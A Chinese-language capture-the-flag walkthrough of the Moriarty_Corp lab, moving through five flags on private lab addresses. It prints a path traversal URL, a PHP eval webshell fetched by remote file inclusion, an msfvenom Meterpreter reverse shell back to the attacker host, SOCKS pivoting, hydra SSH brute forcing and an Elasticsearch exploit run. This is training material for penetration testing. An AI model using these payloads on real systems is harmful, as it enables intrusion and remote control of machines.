Moriarty_Corp

| 外网 IP | 内网 IP
攻击机 Kali | 192.168.56.102 | /
MoriartyCorp | 192.168.56.101 | 172.17.0.3
80 端口文件上传 | / | 172.17.0.4
22 端口远程连接 | / | 172.17.0.10
8000 端口任意密码修改 | / | 172.17.0.11
9200 端口漏洞利用 | / | 172.17.0.12

网络拓扑图

第一个 flag：

主机发现：

192.168.56.101 为目标主机

Copy
Nmap -sn -PR -T4 192.168.56.0/24

端口扫描：

Copy
Nmap -p- -A 192.168.56.101

开放了端口：22、8000、9000

端口访问：

8000：

9000：

疑似存在文件包含漏洞

Copy
192.168.56.101/?file=../../../../../../../etc/passwd

存在路径遍历漏洞

在 kali 上构建一句话木马文件，并开启 http 服务。

Copy
<?php @eval($_POST[‘hack’];?>

Python -m http.server 80

远程访问木马文件：

Copy
192.168.56.101/?file=http://192.168.56.102:80

蚁剑上线：

获取到第一个 flag：

Copy
flag{the_game_is_on}

提交 flag 之后得到新的提示，内网环境在：172.17.0.3-254

开始进行内网渗透。

第二个 flag：

Msf 制作并上传木马文件：

上传木马，开始内网渗透

Copy
Msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.56.102 lport=6666 -f elf > hack.elf

Copy
Msf开启监听

Use exploit/multi/handler

Set payload linux/x64/meterpreter/reverse_tcp

Set lhost 192.168.56.102

Set lport 6666

exploit

Copy
靶机上给予木马文件权限，并执行：

Chmod 777 hack.elf

./hack.elf

Copy
添加内网路由：

Run autoroute -s 172.17.0.0/24

Copy
Msf启动socks代理：

Bg

Use auxiliary/server/socks_proxy

Set srvhost 127.0.0.1

Set srvhost 1080

Run

同时修改proxychains文件

Vim /etc/proxychains4.conf

Socks5 127.0.0.1 1080

扫描内网的 80 端口：

Copy
Proxychains4 nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p80

访问 172.17.0.4:80

发现可以进行文件上传，但是需要密码，尝试用 burp suite 抓包进行密码爆破：

在 firefox 上设置代理服务：

Burp suite 上设置 socks 代理：

开启抓包，根据返回长度发现，password 为密码。

上传一句话木马到靶机，并且访问该木马文件：

在中国蚁剑上设置 socks5 代理：

上线蚁剑：

获得第二个 flag：

Copy
flag{picture_is_worth_1000_words}

提交 flag 后获得新的提示：

得到了一些用户名和进行了 md5 加密的密码，并提示尝试使用 ssh 进行攻击。

第三个 flag：

扫描内网开启了 22 端口的靶机：

发现主机 172.17.0.10:22

Copy
Proxychains4 nmap -sV -sT -Pn -p22 172.17.0.0/24

使用 kali 自带的 hydra 进行密码爆破：

Copy
Proxychains4 hydra -L username.txt -P password.txt ssh://172.17.0.10

成功爆出账号和密码：

Copy
root weapons

对 172.17.0.10 进行 ssh 登录，并获取到第三个 flag：

Copy
Proxychains4 ssh root@172.17.0.10

flag{what_weapons}

提交 flag 后获得新的提示：

新的用户名和密码，并提示 chat 服务可能开启在 443、8000、8080、8888 这些端口

第四个 flag：

对内网进行端口扫描：

Copy
Proxychains4 nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p443,8000,8080

发现主机：172.17.0.11:8000

访问 172.17.0.11:8000 显示需要登录，用给出的账号密码进行登录：

Copy
用户名：buyer13

密码：arms13

发现可以更改密码，可能存在逻辑漏洞任意密码修改漏洞，用 burp suite 抓包修改用户名尝试修改 admin 的密码：

再次登录，使用 admin 进行登录，成功登入：

获得 flag：

Copy
flag{on_the_move}

提交 flag 后获得新的提示：

使用了 elasticsearch，通常使用 9200 端口。

Elasticsearch 是一个开源的高扩展的分布式全文检索引擎，会默认监听 9200 端口。

第五个 flag：

对内网进行 9200 端口扫描：

Copy
Proxychains4 nmap 172.17.0.0/24 -sV -sT -Pn -T4 -p9200

发现主机：172.17.0.12:9200

使用 kali 搜索关于 elasticsearch 相关的可利用的代码：

Copy
Searchsploit -t Elasticsearch

Cp /usr/share/exploitdb/exploits/linux/remote/36337.py /home/kali/Desktop

Copy
对172.17.0.12:9200进行攻击：

Proxychains4 python 36337.py 172.17.0.12

成功获取到最后一个flag：

flag{game_over}

提交最后一个 flag，靶场提示 ip 已经被禁止，无法再次访问。

至此，成果结束靶场的渗透。

如果有疑问，欢迎来咨询：
ace@pomeow.com